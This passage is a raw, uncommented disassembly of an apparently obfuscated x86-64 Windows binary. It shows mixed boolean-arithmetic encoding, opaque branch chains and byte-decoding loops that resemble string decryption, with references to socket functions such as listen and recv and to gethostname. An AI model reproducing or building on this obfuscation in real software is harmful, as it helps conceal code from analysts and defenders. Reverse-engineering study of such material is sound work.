jmp 0x140095675
movabs rcx, 0x5b15c46f4cadb208
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
movabs rcx, 0xb15a1a9acbd723c1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x47
mov byte [rbp + rbx + 0x870], r10b
inc rbx
jmp 0x140094962
movabs rdx, 0x3a423d12984e1e0b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
add r10b, dl
cmp r9, 9
jb 0x140094e18
movabs rdx, 0xb9c12222444c2342
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140095562
movabs rdx, 0xc32a5f8a64c51855
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x53
add r10b, dl
cmp r8, 0x41
jae 0x14009541f
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140095338
movabs rdx, 0x12d27ad040f1ea26
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
jmp 0x140094e48
movabs rdx, 0x4c128202313c129f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x59
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x140095450
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14009521b
movabs rdx, 0xb057e4ba23d32e2f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x49
jmp 0x140094e9b
movabs rdx, 0x4edf8484aeb867ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
movabs rdx, 0xd7c7a6fc7b2f6214
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140095675
movabs rdx, 0x60afc97447a65c5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140095645
movabs rdx, 0xe997ebec141d56a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094962
movabs rdx, 0x72800e63e09450f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009560c
movabs rdx, 0xfb6830dbad0b4b3c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400955e2
movabs rdx, 0x8450535379824586
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0xd3875cb45f93fd0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0x9620984312703a1a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140095562
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x140095104
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 3
jmp 0x140094efa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009514b
movabs rdx, 0xc4f52c2c3a3d77ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
inc rax
cmp r8, rax
jne 0x14009517f
movabs rdx, 0x3c0d09b46dc67da4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x140095675
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400951b1
movabs rcx, 0xa154a24d08618ec6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6a
jmp 0x14009560c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400951e3
movabs rdx, 0x186c7fd53bea947c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
jmp 0x1400955e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140094efd
movabs rcx, 0x8f845d5d6f739a32
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5e
dec rbx
inc rbx
jmp 0x140094962
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009524d
movabs rdx, 0x276fc242575c33e5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x43
jmp 0x14009555f
inc rax
cmp r8, rax
jne 0x14009527e
movabs rcx, 0x3cf386325804abd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2b
jmp 0x14009560c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400952c0
movabs rcx, 0x7ae715eb59095073
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x25
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094962
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400952f5
movabs rdx, 0xf1fef3738c925629
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1f
add r10b, dl
jmp 0x140095645
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094e9e
movabs rcx, 0xe02eae83f3a46195
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x13
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009537b
movabs rcx, 0x89ea5858747aefdc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
inc rax
cmp r8, rax
jne 0x1400953b0
movabs rdx, 0x781a1368db8cfb48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140095645
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400953e3
movabs rdx, 0xdd61ac0176280c6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400955e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094e4b
movabs rdx, 0x54798989a9b11220
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0x30d8ffaa77d528f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x870]
add r10b, dl
add r10b, r11b
jmp 0x1400955e5
movabs rdx, 0xa7f0dd32ab5e2eae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x870]
add r10b, r11b
add r10b, dl
jmp 0x140095645
movabs rcx, 0x92515fdfecefef5d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x75
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
movabs rdx, 0xa421a4cf85dde3f1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x69
add r10b, dl
jmp 0x140095645
movabs rcx, 0x2d09c7475254de3b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x63
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094962
movabs rcx, 0xc7c22eaeb7b9cd19
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x51
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0xd992739e50a7c1ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
movabs rcx, 0x754d10e65e10a61d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x35
add r11b, cl
mov byte [rbp + rbx + 0x870], r11b
inc r9
dec rbx
inc rbx
jmp 0x140094962
movabs rcx, 0xfd32fd7d8283aad5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2d
dec rbx
inc rbx
jmp 0x140094962
movabs rdx, 0x861b1ff54efaa51f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
movabs rcx, 0xec64ee6e9199abd3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x3b
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x870], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140094962
mov r11, rdx
movabs rcx, 0x20d3875cb45f93fd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x15
movabs rcx, 0x637ccbf6c522b189
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x41
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x870], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x1f08babadee73464
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x870], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
movabs rcx, 0x32a3cc4c4d4d8891
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 9
movzx eax, byte [rbp + rbx + 0x870]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140094962
movabs rcx, 0x6fb30be16317fbc7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x71
jmp 0x140094960
movabs rcx, 0xf89b2e592f8ef611
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x77
jmp 0x140094950
lea rcx, [rbp + 0x147f394]
jmp 0x14009575c
lea rcx, [rbp + 0xcc766f]
jmp 0x14009575c
lea rcx, [rbp + 0x870]
call fcn.140036770
mov byte [rbp + 0x8c0], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8c1], 0xf2
mov byte [rbp + 0x8c2], 4
mov byte [rbp + 0x8c3], 0xde
mov byte [rbp + 0x8c4], 0xfe
mov byte [rbp + 0x8c5], 0xfa
mov byte [rbp + 0x8c6], 0xcc
mov byte [rbp + 0x8c7], 0xf2
mov byte [rbp + 0x8c8], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8c9], xmm0
mov qword [rbp + 0x8d9], rax
mov word [rbp + 0x8e1], ax
movabs rdi, 0x82bbeb9c76d95a25
movabs rsi, 0x85e80b54c986487b
movabs r15, 0xe1a76cbe4ecd65d1
movabs r14, 0xc29931d82beb7cd9
movabs r13, 0xff4a585b8e50b137
movzx edx, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140096649
movzx r11d, byte [rbp + rbx + 0x8c0]
mov r10, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009663d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140095862
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, r11
add rdx, rcx
add dl, 0x49
jmp 0x1400958b0
je 0x1400965b6
inc rax
cmp r8, rax
je 0x14009651b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400964e6
lea rax, [r9 + 3]
cmp r8, rax
je 0x140096487
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009645d
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009640a
nop dword [rax + rax]
cmp r9, rbx
ja 0x140096631
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400958e0
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
jmp 0x140095940
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400963e5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400963bc
lea rax, [rcx + 1]
cmp r8, rax
je 0x140096399
lea rax, [r9 + 5]
cmp r8, rax
je 0x140096366
lea rax, [r9 + 7]
cmp r8, rax
je 0x140096347
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096324
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400962f0
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140095fa2
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140095f7c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140095f50
lea rax, [r9 + 1]
cmp r8, rax
je 0x140095f27
lea rax, [r9 + 5]
cmp r8, rax
je 0x140095f01
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140095ecb
lea rax, [r9 + 4]
cmp r8, rax
je 0x140095e96
lea rax, [r9 + 9]
cmp r8, rax
je 0x140095e73
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140095e4d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140095e18
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140095950
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009660e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400965eb
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140095b35
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140095b1b
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140095b01
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140095db8
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140095d5d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140095d0d
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140095ce0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140095950
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140095ca9
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140095c84
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140095c5e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140095c29
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140095bf4
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140095bce
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140095ba5
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140095b76
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140095b51
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140095950
lea r8, [r9 + 2]
lea r9, [r8 + 4]
jmp 0x140095950
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5d
jmp 0x140095940
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x11
jmp 0x1400958b0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x7f
add dl, cl
jmp 0x140095825
movabs rdx, 0x15df5ce3b6cad128
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x18
add dl, cl
jmp 0x140096428
movabs rdx, 0x5290836719300586
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x140095812
movabs rcx, 0x8f41a9ea7b9539e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3c
dec rbx
inc rbx
jmp 0x140095812
movabs rdx, 0xcbf2d06dddfa6e42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400964a5
movabs rcx, 0x8a3f6f1405fa2a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rdx, 0x45551d74a2c4d6fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rdx, 0x820643f8052a0b5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009653d
movabs rdx, 0xbeb76a7b678f3fba
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x16
add dl, cl
jmp 0x14009656d
movabs rdx, 0xfb6890fec9f47418
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
movabs rcx, 0x932371473ff17703
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x15
mov byte [rbp + rbx + 0x8c0], dl
inc rbx
jmp 0x140095812
movabs rcx, 0xcfd497caa256ab61
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x59
cmp r9, 0x1000
jb 0x140095cfe
movabs rdx, 0xe8b553d365d69146
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140096428
movabs rcx, 0xc85be4e04bbdfbf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x39
cmp r8, 0x61
jae 0x140096299
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400961ba
movabs rdx, 0x47a0d4f53dca9cf2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140095d2b
movabs rdx, 0x4936e4d16721141d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x35
add dl, cl
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400962c5
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400960a3
movabs rdx, 0xc4e4e958c6f142cd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x65
add dl, cl
jmp 0x140095d7b
movabs rcx, 0x106785aac9181cde
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x12
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
movabs rdx, 0x4d18ac2e2b7d513c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009656d
movabs rcx, 0x89c9d2b18de2859a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x36
jmp 0x14009653d
movabs rdx, 0xc67af934f047b9f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rcx, 0x32c1fb852acee56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x5a
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rdx, 0x3fdd463bb51222b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400964a5
movabs rcx, 0x7c8e6cbf17775712
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7e
dec rbx
inc rbx
jmp 0x140095812
movabs rcx, 0xb93f934279dc8b70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
inc r9
dec rbx
inc rbx
jmp 0x140095812
movabs rdx, 0xf5f0b9c5dc41bfce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140096428
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140095fc9
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x49
jmp 0x140095dd6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009600b
movabs rcx, 0x577d738edb2b44a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 6
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
inc rax
cmp r8, rax
jne 0x14009603a
movabs rcx, 0xc8c6b0b58b4d7fec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x14009656d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009606a
movabs rcx, 0xd60216a801b8ae74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2c
jmp 0x1400964a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095dd8
movabs rdx, 0x9950f0249f537a16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140095812
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400960d5
movabs rdx, 0x8833c2d5648c0e6f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 9
add dl, cl
jmp 0x140096428
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009610b
movabs rcx, 0xed175ce9fc1a5b3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1b
dec rbx
inc rbx
jmp 0x140095812
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009614d
movabs rcx, 0x956f28c7daf73cf7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3f
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140096179
movabs rdx, 0x1c0cdbc1162cd43b
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
add dl, 0x63
jmp 0x140096537
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140095d7b
movabs rcx, 0xa2aa8eba51626b7f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x79
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400961fc
movabs rcx, 0xaefae71db656894
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0xc
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
inc rax
cmp r8, rax
jne 0x14009622e
movabs rdx, 0x918d616b169affd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009653d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096260
movabs rdx, 0xdb79ede0ef6b62be
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x32
add dl, cl
jmp 0x1400964a5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140095d2b
movabs rdx, 0x9ec8c75d8d062e60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140095812
movabs rdx, 0xac042d5003715ce8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, byte [rbp + rbx + 0x8c0]
sub cl, al
add cl, r11b
sub dl, 0x58
add dl, cl
jmp 0x1400964a5
movabs rdx, 0x6f5306cca10c288a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
sub cl, byte [rbp + rbx + 0x8c0]
add cl, r11b
jmp 0x14009653b
movabs rcx, 0x608190fe014a82d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1f
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
movabs rcx, 0x9d32b78163afb735
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x14009656d
movabs rdx, 0xd9e3de04c614eb93
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 5
jmp 0x140096537
movabs rcx, 0x16950488287a1ff1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x69
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rcx, 0x8ff7518eed4488ad
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x45
jmp 0x1400964a5
movabs rcx, 0xcca878124fa9bd0b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4d
dec rbx
inc rbx
jmp 0x140095812
movabs rdx, 0x460ac519147425c7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x71
add dl, cl
jmp 0x140096428
movabs rcx, 0xbf6d121fd93e8e83
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
